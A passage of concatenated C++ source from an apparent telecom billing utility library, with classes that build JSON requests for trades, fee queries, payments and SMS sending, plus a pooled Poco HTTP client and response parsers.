NodeTrade::SetOrderType(std::string type) { m_strOrderType = type; } void NodeTrade::AddTradeItem(CTradeItem &ti) { m_vecTradeItem.push_back(ti); } std::string NodeTrade::GetAcceptDate() { return m_strAcceptDate; } std::string NodeTrade::GetOrderType() { return m_strOrderType; } std::string NodeTrade::GetSubscribeID() { return m_strSubscribeID; } std::string NodeTrade::GetTradeID() { return m_strTradeID; } std::string NodeTrade::GetTradeTypeCode() { return m_strTradeTypeCode; } std::string NodeTrade::GetInModeCode() { return m_strInModeCode; } std::string NodeTrade::GetSubscribeState() { return m_strSubscribeState; } std::string NodeTrade::GetPackageID() { return m_strPackageID; } std::string NodeTrade::GetBrandCode() { return m_strBrandCode; } std::string NodeTrade::GetUserID() { return m_strUserID; } std::string NodeTrade::GetCustID() { return m_strCustID; } std::string NodeTrade::GetAcctID() { return m_strAcctID; } std::string NodeTrade::GetNetTypeCode() { return m_strNetTypeCode; } std::string NodeTrade::GetSerialNumber() { return m_strSerialNumber; } std::string NodeTrade::GetCustName() { return m_strCustName; } std::string NodeTrade::GetFinishDate() { return m_strFinishDate; } std::string NodeTrade::GetAcceptStaffID() { return m_strAcceptStaffID; } std::string NodeTrade::GetAcceptDepartID() { return m_strAcceptDepartID; } std::string NodeTrade::GetAcceptProvinceCode() { return m_strAcceptProvinceCode; } std::string NodeTrade::GetAcceptRegionCode() { return m_strAcceptRegionCode; } std::string NodeTrade::GetAcceptCityCode() { return m_strAcceptCityCode; } std::string NodeTrade::GetTermIP() { return m_strTermIP; } std::string NodeTrade::GetProvinceCode() { return m_strProvinceCode; } std::string NodeTrade::GetRegionCode() { return m_strRegionCode; } std::string NodeTrade::GetCityCode() { return m_strCityCode; } std::string NodeTrade::GetHaseFee() { return m_strHaseFee; } std::string NodeTrade::GetFeeNum() { return m_strFeeSum; } std::string NodeTrade::GetActorName() { return m_strActorName; } std::string NodeTrade::GetActorCertTypeID() { return m_strActorCertTypeID; } std::string NodeTrade::GetActorPhone() { return m_strActorPhone; } std::string NodeTrade::GetActorCertNum() { return m_strActorCertNum; } std::string NodeTrade::GetContact() { return m_strContact; } std::string NodeTrade::GetContactPhone() { return m_strContactPhone; } std::string NodeTrade::GetContactAddress() { return m_strContactAddress; } std::string NodeTrade::GetRemark() { return m_strRemark; } std::string NodeTrade::GetProviderCode() { return m_strProviderCode; } int NodeTrade::JsonAddTradeNode(cJSON *root ,NodeBase &nb) { cJSON *parm = NULL,*tradeNode=NULL; NodeTrade &nt = dynamic_cast<NodeTrade & >(nb); parm=cJSON_CreateObject(); if(NULL == parm) { fprintf(stderr,"cJSON_CreateObject return null.\n"); return FAIL; } cJSON_AddItemToObject(root, PARAMETERS, parm); tradeNode=cJSON_CreateObject(); if(NULL == parm) { fprintf(stderr,"cJSON_CreateObject return null.\n"); return FAIL; } cJSON_AddItemToObject(parm , TRADE , tradeNode); ///// cJSON_AddStringToObject(tradeNode,ORDER_TYPE, nt.GetOrderType().c_str()); cJSON_AddStringToObject(tradeNode,SUBSCRIBE_ID, nt.GetSubscribeID().c_str()); cJSON_AddStringToObject(tradeNode,TRADE_ID, nt.GetTradeID().c_str()); cJSON_AddStringToObject(tradeNode,TRADE_TYPE_CODE, nt.GetTradeTypeCode().c_str()); cJSON_AddStringToObject(tradeNode,IN_MODE_CODE, nt.GetInModeCode().c_str()); cJSON_AddStringToObject(tradeNode,SUBSCRIBE_STATE, nt.GetSubscribeState().c_str()); cJSON_AddStringToObject(tradeNode,PACKAGE_ID, nt.GetPackageID().c_str()); cJSON_AddStringToObject(tradeNode,BRAND_CODE, nt.GetBrandCode().c_str()); cJSON_AddStringToObject(tradeNode,USER_ID, nt.GetUserID().c_str()); cJSON_AddStringToObject(tradeNode,CUST_ID, nt.GetCustID().c_str()); cJSON_AddStringToObject(tradeNode,ACCT_ID, nt.GetAcctID().c_str()); cJSON_AddStringToObject(tradeNode,NET_TYPE_CODE, nt.GetNetTypeCode().c_str()); cJSON_AddStringToObject(tradeNode,SERIAL_NUMBER, nt.GetSerialNumber().c_str()); cJSON_AddStringToObject(tradeNode,CUST_NAME, nt.GetCustName().c_str()); cJSON_AddStringToObject(tradeNode,FINISH_DATE, nt.GetFinishDate().c_str()); cJSON_AddStringToObject(tradeNode,ACCEPT_STAFF_ID, nt.GetAcceptStaffID().c_str()); cJSON_AddStringToObject(tradeNode,ACCEPT_DEPART_ID, nt.GetAcceptDepartID().c_str()); cJSON_AddStringToObject(tradeNode,ACCEPT_PROVINCE_CODE, nt.GetAcceptProvinceCode().c_str()); cJSON_AddStringToObject(tradeNode,ACCEPT_REGION_CODE, nt.GetAcceptRegionCode().c_str()); cJSON_AddStringToObject(tradeNode,ACCEPT_CITY_CODE, nt.GetAcceptCityCode().c_str()); cJSON_AddStringToObject(tradeNode,ACCEPT_DATE, nt.GetAcceptDate().c_str()); cJSON_AddStringToObject(tradeNode,TERM_IP, nt.GetTermIP().c_str()); cJSON_AddStringToObject(tradeNode,PROVINCE_CODE, nt.GetProvinceCode().c_str()); cJSON_AddStringToObject(tradeNode,REGION_CODE, nt.GetRegionCode().c_str()); cJSON_AddStringToObject(tradeNode,CITY_CODE, nt.GetCityCode().c_str()); cJSON_AddStringToObject(tradeNode,HASE_FEE, nt.GetHaseFee().c_str()); cJSON_AddStringToObject(tradeNode,FEE_SUM, nt.GetFeeNum().c_str()); cJSON_AddStringToObject(tradeNode,ACTOR_NAME, nt.GetActorName().c_str()); cJSON_AddStringToObject(tradeNode,ACTOR_CERT_TYPE_ID, nt.GetActorCertTypeID().c_str()); cJSON_AddStringToObject(tradeNode,ACTOR_PHONE, nt.GetActorPhone().c_str()); cJSON_AddStringToObject(tradeNode,ACTOR_CERT_NUM, nt.GetActorCertNum().c_str()); cJSON_AddStringToObject(tradeNode,CONTACT, nt.GetContact().c_str()); cJSON_AddStringToObject(tradeNode,CONTACT_PHONE, nt.GetContactPhone().c_str()); cJSON_AddStringToObject(tradeNode,CONTACT_ADDRESS, nt.GetContactAddress().c_str()); cJSON_AddStringToObject(tradeNode,REMARK, nt.GetRemark().c_str()); cJSON_AddStringToObject(tradeNode,PROVIDER_CODE, nt.GetProviderCode().c_str()); ///20160427 if( nt.m_vecTradeItem.size() > 0) { cJSON *jsonAr = cJSON_CreateArray(); for(std::vector<CTradeItem>::iterator it = nt.m_vecTradeItem.begin() ; it != nt.m_vecTradeItem.end() ; ++it) { cJSON *jsonItem = cJSON_CreateObject(); cJSON_AddStringToObject(jsonItem , TRADE_ID , nt.GetTradeID().c_str()); cJSON_AddStringToObject(jsonItem , UPDATE_STAFF_ID , it->GetUpdateStaffId().c_str()); cJSON_AddStringToObject(jsonItem , UPDATE_DEPART_ID , it->GetUpdateDepartId().c_str()); cJSON_AddStringToObject(jsonItem , UPDATE_DATE , it->GetUpdateDate().c_str()); cJSON_AddStringToObject(jsonItem , ITEM_ID , it->GetItemId().c_str()); cJSON_AddStringToObject(jsonItem , ATTR_CODE , it->GetAttrCode().c_str()); cJSON_AddStringToObject(jsonItem , ATTR_VALUE , it->GetAttrValue().c_str()); cJSON_AddItemToArray(jsonAr , jsonItem); } cJSON_AddItemToObject(parm , TRADE_ITEM, jsonAr); } return 0; } /////////////////// NodeQryOweFee::NodeQryOweFee() { } NodeQryOweFee::~NodeQryOweFee() { } NodeQryOweFee::NodeQryOweFee(const NodeQryOweFee &nqof) { m_iRecvTag = nqof.m_iRecvTag; m_strQryID = nqof.m_strQryID; } NodeQryOweFee& NodeQryOweFee::operator = (const NodeQryOweFee &nqof) { if(this == &nqof) return *this; m_iRecvTag = nqof.m_iRecvTag; m_strQryID = nqof.m_strQryID; return *this; } void NodeQryOweFee::SetRecvTag(int tag) { m_iRecvTag = tag; } void NodeQryOweFee::SetQryID(std::string id) { m_strQryID = id; } int NodeQryOweFee::GetRecvTag() { return m_iRecvTag; } std::string NodeQryOweFee::GetQryID() { return m_strQryID; } int NodeQryOweFee::JsonAddQryOweFeeNode(cJSON *root , NodeBase &nb) { cJSON *parm = NULL; NodeQryOweFee &nqof = dynamic_cast<NodeQryOweFee & >(nb); parm=cJSON_CreateObject(); if(NULL == parm) return -1; cJSON_AddItemToObject(root, PARAMETERS, parm); switch(nqof.GetRecvTag()) { case 0: //按账户id查询,1 cJSON_AddStringToObject(parm,RECV_TAG, "0"); cJSON_AddStringToObject(parm,ACCT_ID, nqof.GetQryID().c_str()); break; case 1:// 按号码 cJSON_AddStringToObject(parm,RECV_TAG, "1"); cJSON_AddStringToObject(parm,SERIAL_NUMBER, nqof.GetQryID().c_str()); break; case 3: // 按用户id cJSON_AddStringToObject(parm,RECV_TAG, "3"); cJSON_AddStringToObject(parm,USER_ID, nqof.GetQryID().c_str()); break; } } ///////// NodePayFee::NodePayFee() { } NodePayFee::~NodePayFee() { } NodePayFee::NodePayFee(const NodePayFee &npf) { m_strSerialNumber = npf.m_strSerialNumber; m_strRecvTag = npf.m_strRecvTag; /// m_strAcctID = npf.m_strAcctID; m_strUserID = npf.m_strUserID; m_strRecvFee = npf.m_strRecvFee; m_strPaymentID = npf.m_strPaymentID; m_strPayfeeModeCode = npf.m_strPayfeeModeCode; m_strChannelID = npf.m_strChannelID; m_strPayOrderNumber = npf.m_strPayOrderNumber; m_strPayChargeID = npf.m_strPayChargeID; m_strBankCode = npf.m_strBankCode; m_strCardType = npf.m_strCardType; m_strPostNumber = npf.m_strPostNumber; } NodePayFee& NodePayFee::operator = (const NodePayFee &npf) { if(this == &npf) return *this; m_strSerialNumber = npf.m_strSerialNumber; m_strRecvTag = npf.m_strRecvTag; /// m_strAcctID = npf.m_strAcctID; m_strUserID = npf.m_strUserID; m_strRecvFee = npf.m_strRecvFee; m_strPaymentID = npf.m_strPaymentID; m_strPayfeeModeCode = npf.m_strPayfeeModeCode; m_strChannelID = npf.m_strChannelID; m_strPayOrderNumber = npf.m_strPayOrderNumber; m_strPayChargeID = npf.m_strPayChargeID; m_strBankCode = npf.m_strBankCode; m_strCardType = npf.m_strCardType; m_strPostNumber = npf.m_strPostNumber; return *this; } void NodePayFee::SetSerialNumber(std::string number) { m_strSerialNumber = number; } void NodePayFee::SetRecvTag(std::string tag) { m_strRecvTag = tag; } void NodePayFee::SetAcctID(std::string id) { m_strAcctID = id; } void NodePayFee::SetUserID(std::string id) { m_strUserID = id; } void NodePayFee::SetRecvFee(std::string fee) { m_strRecvFee = fee; } void NodePayFee::SetPaymentID(std::string id) { m_strPaymentID= id; } void NodePayFee::SetPayfeeModeCode(std::string code) { m_strPayfeeModeCode = code; } void NodePayFee::SetChannelID(std::string id) { m_strChannelID = id; } void NodePayFee::SetPayOrderNumber(std::string number) { m_strPayOrderNumber = number; } void NodePayFee::SetPayChargeID(std::string id) { m_strPayChargeID = id; } void NodePayFee::SetBankCode(std::string code) { m_strBankCode = code; } void NodePayFee::SetCardType(std::string type) { m_strCardType = type; } void NodePayFee::SetActionCode(std::string code) { m_strActionCode = code; } void NodePayFee::SetPostNumber(std::string number) { m_strPostNumber = number; } void NodePayFee::SetTradeTypeCode(std::string code) { m_strTradeTypeCode = code; } std::string NodePayFee::GetSerialNumber() { return m_strSerialNumber; } std::string NodePayFee::GetRecvTag() { return m_strRecvTag; } std::string NodePayFee::GetAcctID() { return m_strAcctID; } std::string NodePayFee::GetUserID() { return m_strUserID; } std::string NodePayFee::GetRecvFee() { return m_strRecvFee; } std::string NodePayFee::GetPaymentID() { return m_strPaymentID; } std::string NodePayFee::GetPayfeeModeCode() { return m_strPayfeeModeCode; } std::string NodePayFee::GetChannelID() { return m_strChannelID; } std::string NodePayFee::GetPayOrderNumber() { return m_strPayOrderNumber; } std::string NodePayFee::GetPayChargeID() { return m_strPayChargeID; } std::string NodePayFee::GetBankCode() { return m_strBankCode; } std::string NodePayFee::GetCardType() { return m_strCardType; } std::string NodePayFee::GetPostNumber() { return m_strPostNumber; } std::string NodePayFee::GetActionCode() { return m_strActionCode; } std::string NodePayFee::GetTradeTypeCode() { return m_strTradeTypeCode; } int NodePayFee::JsonAddPayFeeNode(cJSON *root , NodeBase &nb) { cJSON *parm = NULL,*tradeNode=NULL; NodePayFee &npf = dynamic_cast<NodePayFee & >(nb); parm=cJSON_CreateObject(); if(NULL == parm) { fprintf(stderr,"cJSON_CreateObject return null.\n"); return FAIL; } cJSON_AddItemToObject(root, PARAMETERS, parm); if(npf.GetRecvTag() == "") { fprintf(stderr,"GetRecvTag is empty.\n"); return FAIL; } cJSON_AddStringToObject(parm,RECV_TAG, npf.GetRecvTag().c_str()); ///sdp 要求必填 20141124 cJSON_AddStringToObject(parm,SERIAL_NUMBER, npf.GetSerialNumber().c_str()); switch(npf.GetRecvTag().at(0)) { case '0': //账户 cJSON_AddStringToObject(parm,ACCT_ID, npf.GetAcctID().c_str()); break; case '3': //用户 cJSON_AddStringToObject(parm,USER_ID, npf.GetUserID().c_str()); break; default: return FAIL; } cJSON_AddStringToObject(parm,RECV_FEE, npf.GetRecvFee().c_str()); cJSON_AddStringToObject(parm,PAYMENT_ID, npf.GetPaymentID().c_str()); cJSON_AddStringToObject(parm,PAYFEE_MODE_CODE, npf.GetPayfeeModeCode().c_str()); cJSON_AddStringToObject(parm,CHANNEL_ID, npf.GetChannelID().c_str()); cJSON_AddStringToObject(parm,PAYORDER_NUMBER, npf.GetPayOrderNumber().c_str()); cJSON_AddStringToObject(parm,PAYCHARGE_ID, npf.GetPayChargeID().c_str()); cJSON_AddStringToObject(parm,BANK_CODE, npf.GetBankCode().c_str()); cJSON_AddStringToObject(parm,CARD_TYPE, npf.GetCardType().c_str()); cJSON_AddStringToObject(parm,POST_NUMBER, npf.GetPostNumber().c_str()); if(npf.GetActionCode() != "") cJSON_AddStringToObject(parm,ACTION_CODE, npf.GetActionCode().c_str()); if(npf.GetTradeTypeCode() != "") cJSON_AddStringToObject(parm,TRADE_TYPE_CODE, npf.GetTradeTypeCode().c_str()); return 0; } ///////////// NodeSendMsg::NodeSendMsg() { } NodeSendMsg::NodeSendMsg(std::string phone, std::string msg) :m_strPhoneNum(phone), m_strMsg(msg) { } NodeSendMsg::~NodeSendMsg() { } NodeSendMsg::NodeSendMsg(const NodeSendMsg &nsm) { m_strPhoneNum = nsm.m_strPhoneNum; m_strMsg = nsm.m_strMsg; } NodeSendMsg& NodeSendMsg::operator = (const NodeSendMsg &nsm) { if(this == &nsm) return *this; m_strPhoneNum = nsm.m_strPhoneNum; m_strMsg = nsm.m_strMsg; return *this; } void NodeSendMsg::SetPhoneNum(std::string num) { m_strPhoneNum = num; } void NodeSendMsg::SetMsg(std::string msg) { m_strMsg = msg; } std::string NodeSendMsg::GetPhoneNum() { return m_strPhoneNum; } std::string NodeSendMsg::GetMsg() { return m_strMsg; } int NodeSendMsg::JsonAddSendMsgNode(cJSON *root , NodeBase &nb) { cJSON *parm = NULL; NodeSendMsg &nsm = dynamic_cast<NodeSendMsg & >(nb); parm=cJSON_CreateObject(); if(NULL == parm) { fprintf(stderr,"cJSON_CreateObject return null.\n"); return FAIL; } cJSON_AddItemToObject(root, PARAMETERS, parm); cJSON_AddStringToObject(parm,PHONE_NUMBER, nsm.GetPhoneNum().c_str()); cJSON_AddStringToObject(parm,MSG,nsm.GetMsg().c_str()); return 0; } ////////// NodeOnWaySheet::NodeOnWaySheet() { } NodeOnWaySheet::NodeOnWaySheet(std::string strTradeTypeCode, std::string strSeialNumber) { m_strSerialNumber = strSeialNumber; m_strTradeTypeCode = strTradeTypeCode; } NodeOnWaySheet::~NodeOnWaySheet() { } NodeOnWaySheet::NodeOnWaySheet(const NodeOnWaySheet &nows) { m_strSerialNumber = nows.m_strSerialNumber; m_strTradeTypeCode = nows.m_strTradeTypeCode; } NodeOnWaySheet& NodeOnWaySheet::operator = (const NodeOnWaySheet &nows) { if(this == &nows) return *this; m_strSerialNumber = nows.m_strSerialNumber; m_strTradeTypeCode = nows.m_strTradeTypeCode; return *this; } void NodeOnWaySheet::SetSerialNumber(std::string num) { m_strSerialNumber = num; } void NodeOnWaySheet::SetTradeTypeCode(std::string code) { m_strTradeTypeCode = code; } std::string NodeOnWaySheet::GetSerialNumber() { return m_strSerialNumber; } std::string NodeOnWaySheet::GetTradeTypeCode() { return m_strTradeTypeCode; } ///查询停在途工单 20150511 int NodeOnWaySheet::JsonAddOnWaySheetNode(cJSON *root , NodeBase &nb) { cJSON *parm = NULL,*tradeNode=NULL; NodeOnWaySheet &nows = dynamic_cast<NodeOnWaySheet & >(nb); parm=cJSON_CreateObject(); if(NULL == parm) return -1; cJSON_AddItemToObject(root, PARAMETERS, parm); cJSON_AddStringToObject(parm,TRADE_TYPE_CODE, nows.GetTradeTypeCode().c_str()); cJSON_AddStringToObject(parm,SERIAL_NUMBER, nows.GetSerialNumber().c_str()); return 0; } ////////// NodeRoot::NodeRoot() { } NodeRoot::~NodeRoot() { } NodeRoot::NodeRoot(const NodeRoot &nt) { m_strOperCode = nt.m_strOperCode; m_strStaffID = nt.m_strStaffID; m_strDepartID = nt.m_strDepartID; m_strProvinceCode = nt.m_strProvinceCode; m_strRegionCode = nt.m_strRegionCode; m_strCityCode = nt.m_strCityCode; m_strRouteProvinceCode = nt.m_strRouteProvinceCode; m_strRouteRegionCode = nt.m_strRouteRegionCode; m_strRouteCityCode = nt.m_strRouteCityCode; m_strInNetMode = nt.m_strInNetMode; } NodeRoot& NodeRoot::operator = (const NodeRoot &nt) { if(this == &nt) return *this; m_strOperCode = nt.m_strOperCode; m_strStaffID = nt.m_strStaffID; m_strDepartID = nt.m_strDepartID; m_strProvinceCode = nt.m_strProvinceCode; m_strRegionCode = nt.m_strRegionCode; m_strCityCode = nt.m_strCityCode; m_strRouteProvinceCode = nt.m_strRouteProvinceCode; m_strRouteRegionCode = nt.m_strRouteRegionCode; m_strRouteCityCode = nt.m_strRouteCityCode; m_strInNetMode = nt.m_strInNetMode; return *this; } void NodeRoot::SetOperCode(std::string code) { m_strOperCode = code; } void NodeRoot::SetStaffID(std::string id) { m_strStaffID = id; } void NodeRoot::SetDepartID(std::string id) { m_strDepartID = id; } void NodeRoot::SetProvinceCode(std::string code) { m_strProvinceCode = code; } void NodeRoot::SetRegionCode(std::string code) { m_strRegionCode = code; } void NodeRoot::SetCityCode(std::string code) { m_strCityCode = code; } void NodeRoot::SetRouteProvinceCode(std::string code) { m_strRouteProvinceCode = code; } void NodeRoot::SetRouteRegionCode(std::string code) { m_strRouteRegionCode = code; } void NodeRoot::SetRouteCityCode(std::string code) { m_strRouteCityCode = code; } void NodeRoot::SetInNetMode(std::string mode) { m_strInNetMode = mode; } std::string NodeRoot::GetOperCode() { return m_strOperCode; } std::string NodeRoot::GetStaffID() { return m_strStaffID; } std::string NodeRoot::GetDepartID() { return m_strDepartID; } std::string NodeRoot::GetProvinceCode() { return m_strProvinceCode; } std::string NodeRoot::GetRegionCode() { return m_strRegionCode; } std::string NodeRoot::GetCityCode() { return m_strCityCode; } std::string NodeRoot::GetRouteProvinceCode() { return m_strRouteProvinceCode; } std::string NodeRoot::GetRouteRegionCode() { return m_strRouteRegionCode; } std::string NodeRoot::GetRouteCityCode() { return m_strRouteCityCode; } std::string NodeRoot::GetInNetMode() { return m_strInNetMode; } cJSON* NodeRoot::JsonCreateRoot(NodeRoot &nr) { cJSON *root = NULL; root=cJSON_CreateObject(); if(NULL == root) return NULL; cJSON_AddStringToObject(root, OPER_CODE, nr.GetOperCode().c_str()); cJSON_AddStringToObject(root, STAFF_ID, nr.GetStaffID().c_str()); cJSON_AddStringToObject(root, DEPART_ID, nr.GetDepartID().c_str()); cJSON_AddStringToObject(root, PROVINCE_CODE, nr.GetProvinceCode().c_str()); cJSON_AddStringToObject(root, REGION_CODE, nr.GetRegionCode().c_str()); cJSON_AddStringToObject(root, CITY_CODE, nr.GetCityCode().c_str()); cJSON_AddStringToObject(root, ROUTE_PROVINCE_CODE, nr.GetRouteProvinceCode().c_str()); cJSON_AddStringToObject(root, ROUTE_REGION_CODE, nr.GetRouteRegionCode().c_str()); cJSON_AddStringToObject(root, ROUTE_CITY_CODE, nr.GetRouteCityCode().c_str()); cJSON_AddStringToObject(root, IN_NET_CODE, nr.GetInNetMode().c_str()); return root; } } <file_sep>/src/HttpClient.cpp /* * HttpClient.cpp * * Created on: 2017年12月6日 * Author: cplusplus */ #include "HttpClient.h" #include "BusiExceptions.h" namespace BusinessUtil{ HttpClient* HttpClient::Create(std::string server , int port,int maxCnt,int timeout) { HttpClient *ptr = new HttpClient(server,port,maxCnt,timeout); ptr->Initilize(); return ptr; } HttpClient::HttpClient() :m_port(80), m_uCnt(4), m_timeout(5) { } HttpClient::HttpClient(std::string server , int port,int maxCnt,int timeout) :m_server(server), m_port(port), m_uCnt(maxCnt), m_timeout(timeout) { } HttpClient::~HttpClient() { } void HttpClient::Initilize() { Poco::Net::HTTPClientSession *sess = nullptr; for(int i = 0; i < m_uCnt; ++i) { sess = new Poco::Net::HTTPClientSession(); sess->setHost(m_server); sess->setPort(m_port); sess->setTimeout(Poco::Timespan(m_timeout,0)); sess->setKeepAlive(true); m_pool.push_back(sess); } } void HttpClient::SetTimeout(int timeout) { m_timeout = timeout; } Poco::Net::HTTPClientSession* HttpClient::GetHttpClientSession() { Poco::Net::HTTPClientSession* sess = nullptr; std::unique_lock<std::mutex> lck(m_mutex); while(m_pool.empty()) { m_condition.wait(lck); } sess = m_pool.back(); m_pool.pop_back(); return RefreshSession(sess); } void HttpClient::ReleaseClientSession(Poco::Net::HTTPClientSession* sess) { std::unique_lock<std::mutex> lck(m_mutex); m_pool.push_back(sess); m_condition.notify_one(); } std::string HttpClient::SendPostJsonRequest(std::string uri , std::string data) { return SendRequest(uri,data , EunmHttpMethod::_post); } std::string HttpClient::SendGetJsonRequest(std::string uri , std::string data) { return SendRequest(uri,data , EunmHttpMethod::_get); } std::string HttpClient::SendRequest(std::string uri , std::string data , EunmHttpMethod method) { std::shared_ptr<Poco::Net::HTTPClientSession> sess(GetHttpClientSession() ,[this](Poco::Net::HTTPClientSession *session){ ReleaseClientSession(session);}); try { std::string methodString = method == EunmHttpMethod::_post? Poco::Net::HTTPRequest::HTTP_POST : Poco::Net::HTTPRequest::HTTP_GET ; Poco::Net::HTTPRequest httpReq(methodString, uri, Poco::Net::HTTPMessage::HTTP_1_1); httpReq.setContentType("application/json;charset=UTF-8"); httpReq.set("User-Agent", "Billing"); httpReq.setContentLength((int) data.size()); sess->sendRequest(httpReq) <<data; Poco::Net::HTTPResponse response; std::ostringstream ostr; std::istream& rs = sess->receiveResponse(response); if(200 != response.getStatus()) { THROW(BusiException , "http response status not 200."); } Poco::StreamCopier::copyStream(rs, ostr); if(!response.getKeepAlive()) { sess->reset(); } return ostr.str(); } catch (Poco::Exception &e) { THROW(BusiException , e.displayText()); } catch(BusiException &e) { throw; } } Poco::Net::HTTPClientSession* HttpClient::RefreshSession(Poco::Net::HTTPClientSession *session) { if(m_timeout != session->getTimeout().seconds()) { session->setTimeout(Poco::Timespan(m_timeout,0)); } if(m_server != session->getHost()) { session->setHost(m_server); } if(m_port != session->getPort()) { session->setPort(m_port); } return session; } } <file_sep>/include/SdpInvoke/InvokeSoipSendMsg.h /* * soInvokeSoipSendMsg.h * * Created on: 2015年8月21日 * Author: chengl */ #ifndef SOINVOKESOIPSENDMSG_H_ #define SOINVOKESOIPSENDMSG_H_ /*短信发送接口-soip * 2016-08-09 接口规范增加发送时间限制 * */ #include <SdpInvoke/InvokeBase.h> namespace BusinessUtil { typedef struct SoipSmsInfo { std::string strAtTime; std::string strDestTermId; std::string strMsgContent; int iPrority; std::string strReserve; std::string strValidTime; std::string strSendBegTime; ///SEND_TIME_START std::string strSendEndTime; ///SEND_TIME_END }_SOIP_SMS_INFO; typedef struct SoipSmsRetInfo { int iReturnCode; std::string strErrMsg; std::string strMsgId; std::string strOrderSeq; }_SOIP_SMS_RET_INFO; class InvokeSoipSendMsg:public InvokeBase { public: InvokeSoipSendMsg(HTTPClientSession *pHttpSession , std::string strService ,std::string strBusid,std::string strSecretKey="", bool externChannel = false); ~InvokeSoipSendMsg(); void SetBusinessId(std::string id); void SetMacCode(std::string code); void SetOrderSeq(std::string code); void SetReqDate(std::string no); void SetSignType(int type); void SetSubBusinessId(std::string id); void SetExternChannel(bool externChannel); void InsertSoipSmsInfo(const _SOIP_SMS_INFO &ssi); void CleanSoipSmsInfo(); int GetReturnCode(); std::string GetErrMsg(); std::string GetMsgId(); std::string GetOrderId(); bool IsExternChannel() const; private: int MakePackage(); int ParsePackage(); /*@action:用于生成业务参数json包 * */ int ConstructBussPackage(); /*@action:用于生成md5摘要签名 * */ int GenMd5Key(std::string &strMd5); /*@action: 用于构建请求uri * */ void ConstructRequestUri(); std::string m_strBusinessId; ////BUSINESSID std::string m_strSubBusinessId; //SUBBUSINESSID std::string m_strOrderSeq; ///ORDERSEQ std::string m_strReqDate; ///REQDATE int m_iSignType; /// SIGNTYPE std::string m_strMac; ///MAC bool m_bIsReportFlag; ///是否接受状态报告 std::string m_strSmsType; ///短信类型 std::string m_strSecretKey; std::string m_strSmsSendService; std::vector<_SOIP_SMS_INFO> m_vecSoipSms; _SOIP_SMS_RET_INFO m_stSoipSmsRet; ///soip返回信息 bool m_externChannel; //false-内部通道,true-启用外部通道 }; } #endif /* SOINVOKESOIPSENDMSG_H_ */ <file_sep>/README.md # BusinessUtil 依赖 Poco,CommonUtil<file_sep>/src/SdpInvoke/JsonRespNode.cpp #include <SdpInvoke/JsonRespNode.h> #include "MacroDefine.h" #include "stdio.h" #include "stdlib.h" #include "string.h" #include "CharsetUtil.h" namespace BusinessUtil { //// RespNodeBase::RespNodeBase() { } RespNodeBase::~RespNodeBase() { } ////// RespNodeRoot::RespNodeRoot() { } RespNodeRoot::~RespNodeRoot() { } RespNodeRoot::RespNodeRoot(const RespNodeRoot &rnr) :m_strRespCode(rnr.m_strRespCode), m_strRespDesc(rnr.m_strRespDesc) { } RespNodeRoot& RespNodeRoot::operator = (const RespNodeRoot &rnr) { if(this == &rnr) return *this; m_strRespCode = rnr.m_strRespCode; m_strRespDesc = rnr.m_strRespDesc; return *this; } void RespNodeRoot::SetRespCode(std::string code) { m_strRespCode = code; } void RespNodeRoot::SetRespDesc(std::string desc) { m_strRespDesc = desc; } std::string RespNodeRoot::GetRespCode() { return m_strRespCode; } std::string RespNodeRoot::GetRespUtf8Desc() { return m_strRespDesc; } std::string RespNodeRoot::GetRespGb18030Desc() { std::string strGbstring; if(-1 == CommonUtils::CharsetUtil::Uft8ToGb18030(m_strRespDesc , strGbstring) ) { return ""; } return strGbstring; } int RespNodeRoot::JsonParseRespRootNode(std::string strResp , RespNodeRoot &rnr) { cJSON *jRoot=NULL , *jRespCode=NULL,*jRespDesc=NULL; char *out=NULL; jRoot=cJSON_Parse(strResp.c_str()); if (!jRoot) { fprintf(stderr,"cJSON_Parse error, %s\n",cJSON_GetErrorPtr()); return FAIL; } jRespCode = cJSON_GetObjectItem(jRoot ,RESP_CODE); if(NULL == jRespCode) { fprintf(stderr,"cJSON_GetObjectItem error, %s\n",cJSON_GetErrorPtr()); return FAIL; } out = cJSON_Print(jRespCode); rnr.SetRespCode(out); free(out); out = NULL; jRespDesc = cJSON_GetObjectItem(jRoot ,RESP_DESC); if(NULL == jRespDesc) { fprintf(stderr,"cJSON_GetObjectItem error, %s\n",cJSON_GetErrorPtr()); return FAIL; } out = cJSON_Print(jRespDesc); rnr.SetRespDesc(out); free(out); out = NULL; cJSON_Delete(jRoot); return 0; } ////////// RespNodeQryOweFeeNode::RespNodeQryOweFeeNode() { } RespNodeQryOweFeeNode::~RespNodeQryOweFeeNode() { } RespNodeQryOweFeeNode::RespNodeQryOweFeeNode(const RespNodeQryOweFeeNode &resp) { m_respRoot = resp.m_respRoot; m_vecFee.insert(m_vecFee.begin(),resp.m_vecFee.begin(), resp.m_vecFee.end()); } RespNodeQryOweFeeNode& RespNodeQryOweFeeNode::operator = (const RespNodeQryOweFeeNode &resp) { if(this == &resp) return *this; m_respRoot = resp.m_respRoot; m_vecFee.clear(); m_vecFee.insert(m_vecFee.begin(),resp.m_vecFee.begin(), resp.m_vecFee.end()); return *this; } void RespNodeQryOweFeeNode::SetRespNodeRoot(RespNodeRoot &rnr) { m_respRoot = rnr; } void RespNodeQryOweFeeNode::PushBack(_OWE_FEE_INFO &ofi) { m_vecFee.push_back(ofi); } /* * 实时结余: * 后付费: 不包含当月账单费用及上月未出帐费用 * 准预用户: 包含单月账单及上月未出帐费用 */ long RespNodeQryOweFeeNode::GetLeaveRealFee(long &lCurRealFee , long &lLMNoPayBillFee) { long lFee = 0; for(std::vector<_OWE_FEE_INFO>::iterator it = m_vecFee.begin() ; it != m_vecFee.end(); ++it) { if(it->lTotalOweFee >0 )//// 此字段为:账本金额-历史欠费-上月未出账单金额-本月实时金额; [使用于所有用户] { if(it->strPrepayTag[0] == '0') ///后付费20150601 lFee -= (it->lTotalOweFee - it->lLMBillFee - it->lRealFee); else lFee -= it->lTotalOweFee; } else ///账户余额:后付费不减当月及上月未出帐话费;准予均减 lFee += it->lLeaveRealFee; ///当月实时结余 lCurRealFee += it->lRealFee; ////未出帐金额 if(it->strLMPayTag[0] == '0') lLMNoPayBillFee += it->lLMBillFee; } return lFee; } std::string RespNodeQryOweFeeNode::GetRespCode() { return m_respRoot.GetRespCode(); } std::string RespNodeQryOweFeeNode::GetRespUtf8Desc() { return m_respRoot.GetRespUtf8Desc(); } int RespNodeQryOweFeeNode::JsonParseRespQryOweFeeNode(std::string strResp , RespNodeQryOweFeeNode &respQOF) { cJSON *jRoot=NULL, *jRespCode=NULL,*jRespDesc=NULL; cJSON *jResult=NULL , *jOweFeeInfo = NULL , *jOweItem = NULL; cJSON *json = NULL; char *out=NULL; RespNodeRoot rnr; int iRetValue = 